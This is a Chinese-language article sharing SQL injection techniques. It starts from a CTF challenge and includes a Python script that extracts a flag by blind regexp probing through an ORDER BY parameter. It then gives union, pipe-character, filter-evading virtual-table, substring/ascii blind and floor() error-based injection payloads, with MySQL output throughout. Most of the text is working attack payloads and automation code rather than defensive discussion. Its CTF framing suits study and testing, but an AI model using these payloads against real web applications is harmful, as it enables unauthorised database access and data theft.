自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

關(guān)于SQL注入的一些技巧分享

數(shù)據(jù)庫(kù)
本文主要分享一些關(guān)于SQL注入的一些技巧,希望對(duì)大家有所幫助。

 

[[204284]]

先上一道簡(jiǎn)單的ctf注入題:

一道利用order by進(jìn)行注入的ctf題

很不錯(cuò)的一道利用order by的注入題,之前不知道order by除了爆字段還有這種操作。

原題地址:http://chall.tasteless.eu/level1/index.php?dir=

直接進(jìn)去dir后的參數(shù)是ASC,網(wǎng)頁(yè)上有從1~10編號(hào)的10條信息。繞了一大圈反應(yīng)出是order by后的參數(shù),嘗試把參數(shù)改為DESC,果然倒序排列了。題目給了提示:hint: table level1_flag column flag給了數(shù)據(jù)表和字段,于是開(kāi)始構(gòu)造payload。

于是玄學(xué)來(lái)了,在order by后面插入管道符|之后再跟一個(gè)偶數(shù)(?這里我真的不清楚)會(huì)導(dǎo)致排序錯(cuò)亂。嘗試以下url:

http://chall.tasteless.eu/level1/index.php?dir=|2

果然排序錯(cuò)亂,那么想要查出flag必定要使用以下語(yǔ)句:

  1. select flag from level1_flag 

(結(jié)果證明確實(shí)這是一個(gè)一行一列的玩意兒,不然就要使用到limit或group_concat)

但是網(wǎng)頁(yè)上沒(méi)有顯示這個(gè)的輸出框,于是我們這樣利用這個(gè)查詢(xún)的結(jié)果集:

  1. |(select(select flag from level1_flag)regexp '正則')+1 

解釋一下,括號(hào)里的正則匹配成功返回1,所以再加1變成2

所以如果匹配成功,網(wǎng)頁(yè)的排序就會(huì)錯(cuò)亂,如果不成功排序則不會(huì)錯(cuò)亂,于是最終腳本:

  1. =|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"    
  2. ordered_content=requests.get(right_url).content    
  3. while(1):    
  4.     for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':    
  5.         if(letter=='?'):    
  6.             exit()    
  7.         result_string_tem=result_string+letter    
  8.         url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"    
  9.         print url    
  10.         content=requests.get(url).content    
  11.         if(content!=ordered_content):    
  12.             result_string=result_string_tem    
  13.             print result_string    
  14.             break    
  15.         continue  

總結(jié)一下:

1、管道符的使用(見(jiàn)正文)

2、regexp的使用(見(jiàn)正文)

其實(shí)還有一個(gè)group by后面的注入,where后面的都能用

0x00 union、intersect和minus的使用

union基本語(yǔ)法:

select語(yǔ)句

union select語(yǔ)句

intersect(交集)和minus(差集)也一樣,但是mysql不支持交集和差集,所以這也是一個(gè)判斷數(shù)據(jù)庫(kù)的方法。

就說(shuō)說(shuō)union:

基本法:前后兩個(gè)select語(yǔ)句的字段數(shù)要相同,不然sql必定報(bào)錯(cuò),所以可以用union指令判斷數(shù)據(jù)表的字段數(shù),基本構(gòu)造方法:

  1. ...where...union select 1,2,3,4,...,x limit y,z 

其中where子句可以沒(méi)有,limit視情況而定,中間輸入進(jìn)去的1,2,3,4,…,x他們中的任何一個(gè)都可以用函數(shù)代替,最終他們?cè)谀J(rèn)排序的情況下會(huì)被拼接到結(jié)果集的***一行。例:

  1. mysql> select * from learning_test union select 1,version(),concat('sh','it'),4,5;    
  2. +------+---------+---------+---------+----------------------+    
  3. | num  | column2 | column3 | column4 | bin_column           |    
  4. +------+---------+---------+---------+----------------------+    
  5. |    1 | a       | s       | s       | aaaaaaaa             |    
  6. |    2 | b       | s       | s       | ddd                  |    
  7. |    3 | c       | s       | s       | wwwwwwww             |    
  8. |    4 | d       | s       | s       | fffffff              |    
  9. |    1 | 5.5.53  | shit    | 4       | 5                    |    
  10. +------+---------+---------+---------+----------------------+    
  11. rows in set (0.03 sec)  

union查詢(xún)強(qiáng)大而靈活,因?yàn)樗梢圆樵?xún)兩個(gè)不同的表的信息,哪怕這兩個(gè)表字段數(shù)不同,只要這樣做:

  1. mysql> select * from learning_test union select 1,version(),3,group_concat(test_table),5 from test_table;    
  2. +------+---------+---------+---------+----------------------+    
  3. | num  | column2 | column3 | column4 | bin_column           |    
  4. +------+---------+---------+---------+----------------------+    
  5. |    1 | a       | s       | s       | aaaaaaaa             |    
  6. |    2 | b       | s       | s       | ddd                  |    
  7. |    3 | c       | s       | s       | wwwwwwww             |    
  8. |    4 | d       | s       | s       | fffffff              |    
  9. |    1 | 5.5.53  | 3       | 1,2,3   | 5                    |    
  10. +------+---------+---------+---------+----------------------+    
  11. rows in set (0.03 sec)  

而test_table內(nèi)的數(shù)據(jù)結(jié)構(gòu)是這樣的:

  1. +------------+ | test_table | 
  2.  
  3. +------------+ | 1 | 
  4.  
  5. | 2 | 
  6.  
  7. | 3 | 
  8.  
  9. +------------+  

很明顯與learning_test表的字段數(shù)不同,但是我們使用了group_concat()函數(shù)拼接了我們需要的內(nèi)容。

0x01 管道符的使用

1、order by之后可以使用|數(shù)字使排序錯(cuò)亂,不清楚具體是怎么錯(cuò)亂的

2、where子句之后跟上|1或|0也能出數(shù)據(jù),但要是跟上|大于一或小于零的數(shù)就出不了數(shù)據(jù)

0x02 regexp的使用

很簡(jiǎn)單,正則匹配,匹配對(duì)象必須是單行單列,或者說(shuō)是字符串?;菊Z(yǔ)法:

select (select語(yǔ)句) regexp '正則'

意思是將括號(hào)內(nèi)的查詢(xún)的結(jié)果集嘗試與給出的正則匹配,如果配對(duì)成功則返回1,配對(duì)失敗返回0。

0x03 group_concat()的使用

將一列數(shù)據(jù)進(jìn)行拼接,非常便利的函數(shù),一般與union一起使用,就像本節(jié)的***小節(jié)給出的***一個(gè)例子一樣。

0x04 利用虛擬表在不知道字段名的情況下出數(shù)據(jù)

  1. -1 UNION ALL    SELECT * FROM (    
  2.     (SELECT 1)a JOIN (    
  3.         SELECT F.4 from (    
  4.             SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r     
  5.             UNION     
  6.             SELECT * FROM NEWS LIMIT 1 OFFSET 4    
  7.         )F    
  8.     )b    JOIN (SELECT 3)c JOIN (SELECT 4)d    
  9.  

先上一道ctf題的payload進(jìn)行分析:

正常版:

  1. -1 UNION ALL SELECT * FROM ((SELECT 1)a JOIN (SELECT F.4 from (SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r UNION SELECT * FROM NEWS LIMIT 1 OFFSET 4)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d) 

這本是一道ctf題,前面估計(jì)是where后面的子句。這道題過(guò)濾了三樣?xùn)|西:1、空格,2、逗號(hào),3、字段名

這里不詳細(xì)說(shuō)繞過(guò),方法很多,空格利用%0a繞過(guò),union指令中的逗號(hào)利用join繞過(guò),limit指令中的逗號(hào)利用offset繞過(guò)。

這里因?yàn)閜ayload中不能出現(xiàn)字段名,因此我們創(chuàng)建了一個(gè)與所查表字段數(shù)相同的虛擬表并對(duì)其并將其查詢(xún)結(jié)果與前面的查詢(xún)union起來(lái)。具體來(lái)說(shuō)是這樣:

-- 比如說(shuō)在原查詢(xún)的第二字段處出數(shù)據(jù)

  1. ... where ...     
  2. union all    
  3. select * from(    
  4.     (select 1)a join(    
  5.         select F.[需要查詢(xún)的字段號(hào)] from(    
  6.             select * from [需要查詢(xún)的表有多少個(gè)字段就join多少個(gè)]    
  7.             union    
  8.             select * from [需要查詢(xún)的表] [limit子句]    
  9.         )F-- 我們創(chuàng)建的虛擬表沒(méi)有表名,因此定義一個(gè)別名,然后直接[別名].[字段號(hào)]查詢(xún)數(shù)據(jù)    
  10.     )b-- 同上[還差多少字段就再join多少個(gè),以滿(mǎn)足字段數(shù)相同的原則]   )  

正常版:

  1. ... where ... union all select * from((select 1)a join(select F.[需要查詢(xún)的字段號(hào)] from(select * from [需要查詢(xún)的表有多少個(gè)字段就join多少個(gè)] union select * from [需要查詢(xún)的表] [limit子句])F)b[還差多少字段就再join多少個(gè),以滿(mǎn)足字段數(shù)相同的原則]) 

payload中的join換成逗號(hào)亦可。

我們平時(shí)使用union時(shí)都是將union select 1,2,3,4…寫(xiě)在后面以填充不存在的數(shù)據(jù)并測(cè)試字段數(shù)。在這種操作中我們把union select 1,2,3,4…寫(xiě)在了前面來(lái)充當(dāng)虛擬表的字段名。本質(zhì)上來(lái)說(shuō)并不是不知道字段名,而是把不知道字段名的表的查詢(xún)結(jié)果和我們創(chuàng)建的字段名為1,2,3,4…的虛擬表的交集作為一個(gè)結(jié)果集返回。

這里有一個(gè)點(diǎn),方括號(hào)內(nèi)的limit子句需要特別注意,要取下面這個(gè)子查詢(xún)

  1. select F.[需要查詢(xún)的字段號(hào)] from(select * from [需要查詢(xún)的表有多少個(gè)字段就join多少個(gè)] union select * from [需要查詢(xún)的表] [limit子句] 

結(jié)果集的***一行,因?yàn)槲覀冃枰臄?shù)據(jù)被union拼到了***一行(在我們需要的數(shù)據(jù)只有一行的情況下)。

如果我們需要的東西不止一行會(huì)怎么樣呢?一段簡(jiǎn)單的測(cè)試:

  1. mysql> select * from learning_test union all SELECT * FROM ((SELECT 1)a JOIN (SELECT F.1 from (SELECT * FROM (SELECT 1)u UNION SELECT * FROM test_table LIMIT 2 OFFSET 1)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (select 5)e);    
  2. +------+---------+---------+---------+-------------+    
  3. | num  | column2 | column3 | column4 | bin_column  |    
  4. +------+---------+---------+---------+-------------+    
  5. |    1 | a       | s       | s       | aaaaaaaaa   |    
  6. |    2 | b       | s       | s       | dddd        |    
  7. |    3 | c       | s       | s       | wwwwwwww    |    
  8. |    4 | d       | s       | s       | ffffffff    |    
  9. |    1 | 2       | 3       | 4       | 5           |    
  10. |    1 | 3       | 3       | 4       | 5           |    
  11. +------+---------+---------+---------+-------------+    
  12. rows in set (0.00 sec)  

并不會(huì)報(bào)錯(cuò),我們需要的查詢(xún)結(jié)果就是第5,6行第2字段的2和3。

下面是對(duì)虛擬表的簡(jiǎn)單測(cè)試:

  1. mysql> select * from ((select 1)a join (select 2)b) limit 1 offset 1;    
  2. Empty set (0.00 sec)    
  3. mysql> select * from ((select 1)a join (select 2)b);    
  4. +---+---+    
  5. | 1 | 2 |    
  6. +---+---+    
  7. | 1 | 2 |    
  8. +---+---+    
  9. 1 row in set (0.00 sec)  

可以看到我們創(chuàng)建的確實(shí)是字段名為1和2的虛擬表,此表的結(jié)構(gòu)為一行兩列。

用虛擬表去union其他表的數(shù)據(jù):

  1. mysql> select * from ((select 233)a,(select 2333)b,(select 23333)c,(select 233333)d,(select 2333333)e) union select * from learning_test;    
  2. +------+------+-------+--------+-------------+    
  3. | 233  | 2333 | 23333 | 233333 | 2333333     |    
  4. +------+------+-------+--------+-------------+    
  5. |  233 | 2333 | 23333 | 233333 | 2333333     |    
  6. |    1 | a    | s     | s      | aaaaaaaa    |    
  7. |    2 | b    | s     | s      | ddd         |    
  8. |    3 | c    | s     | s      | wwwwwwww    |    
  9. |    4 | d    | s     | s      | fffffff     |    
  10. +------+------+-------+--------+-------------+    
  11. rows in set (0.00 sec)  

表明我們之前的分析是正確的,方法可行。

0x05 substring()和ascii()的聯(lián)合使用

用于猜解數(shù)據(jù)庫(kù)名、表名、字段名和查詢(xún)結(jié)果等

具體使用:

  1. mysql> select ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10;    
  2. +--------------------------------------------------------------------------------------+    
  3. | ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10 |    
  4. +--------------------------------------------------------------------------------------+    
  5. |                                                                                    1 |    
  6. +--------------------------------------------------------------------------------------+    
  7. 1 row in set (0.02 sec)  

看到返回了1,也就是說(shuō)select bin_column from learning_test where num=2這個(gè)查詢(xún)語(yǔ)句返回的結(jié)果集的***個(gè)字符的ascii碼確實(shí)是大于10的。當(dāng)然這個(gè)過(guò)程是繁瑣的,可以使用腳本進(jìn)行自動(dòng)化猜解,或使用sqlmap中集成的類(lèi)似的自動(dòng)化注入功能。

0x06 利用floor()報(bào)錯(cuò)注入

payload: 

  1. ...and (select count(*),concat(version(),floor(rand(0)*8))x from information_schema.tables group by x)a; 

或 

  1. ...and (select count(*) from (select 1 union select null union select !1)x group by concat(version(),floor(rand(0)*2)))  
責(zé)任編輯:龐桂玉 來(lái)源: 黑客技術(shù)與網(wǎng)絡(luò)安全
相關(guān)推薦

2015-12-04 10:04:53

2011-07-03 19:07:47

關(guān)鍵詞

2015-08-17 15:53:58

Linux桌面

2011-07-13 10:12:56

SQL語(yǔ)句優(yōu)化操作符優(yōu)化

2011-06-16 16:39:14

CSS

2023-10-07 16:20:34

JavaAPI

2011-06-01 16:50:21

JAVA

2012-05-21 10:13:05

XCode調(diào)試技巧

2013-03-29 13:17:53

XCode調(diào)試技巧iOS開(kāi)發(fā)

2018-03-26 20:00:32

深度學(xué)習(xí)

2011-07-13 09:13:56

Android設(shè)計(jì)

2011-10-26 20:55:43

ssh 安全

2011-07-12 09:47:53

WebService

2011-05-23 18:06:24

站內(nèi)優(yōu)化SEO

2021-10-12 23:10:58

UnsafeJavaJDK

2010-09-28 14:14:19

SQL語(yǔ)句

2022-12-02 14:58:27

JavaScript技巧編程

2013-04-07 10:40:55

前端框架前端

2009-06-18 09:51:25

Java繼承

2018-05-17 14:52:11

Javascripthtmlcss
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)